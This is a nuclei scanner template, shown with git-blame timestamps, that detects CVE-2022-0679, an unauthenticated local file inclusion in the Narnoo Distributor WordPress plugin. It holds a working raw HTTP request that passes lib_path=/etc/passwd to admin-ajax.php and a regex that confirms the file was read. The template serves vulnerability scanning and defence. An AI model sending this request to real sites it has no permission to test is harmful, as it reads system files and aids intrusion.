nuclei-templates/cves/2022/CVE-2022-0679.yaml

42 lines
1.5 KiB
YAML
Raw Normal View History

2022-10-03 11:02:07 +00:00
id: CVE-2022-0679
2022-10-03 11:16:49 +00:00
2022-10-03 11:02:07 +00:00
info:
name: Narnoo Distributor <= 2.5.1 - Unauthenticated LFI to Arbitrary File Read / RCE
author: Veshraj
severity: critical
2022-10-03 20:12:16 +00:00
description: |
The plugin fails to validate and sanitize the lib_path parameter before it is passed into a call to require() via the narnoo_distributor_lib_request AJAX action (available to both unauthenticated and authenticated users) which results in the disclosure of arbitrary files as the content of the file is then displayed in the response as JSON data. This could also lead to RCE with various tricks but depends on the underlying system and it's configuration.
reference:
2022-10-03 20:13:55 +00:00
- https://wpscan.com/vulnerability/0ea79eb1-6561-4c21-a20b-a1870863b0a8
- https://nvd.nist.gov/vuln/detail/CVE-2022-0679
- https://www.cvedetails.com/cve/CVE-2022-0679/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0679
cwe-id: CWE-22
2022-10-03 20:13:55 +00:00
metadata:
verified: "true"
tags: narnoo-distributor,cve,cve2022,wordpress,wp-plugin,wpscan,wp,rce,unauth,lfi
2022-10-03 11:02:07 +00:00
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
2022-10-03 20:12:16 +00:00
2022-10-03 11:02:07 +00:00
action=narnoo_distributor_lib_request&lib_path=/etc/passwd
matchers-condition: and
2022-10-03 11:16:49 +00:00
matchers:
2022-10-03 11:02:07 +00:00
- type: regex
2022-10-04 08:56:04 +00:00
part: body
2022-10-03 11:02:07 +00:00
regex:
- "root:.*:0:0:"
- type: status
status:
- 200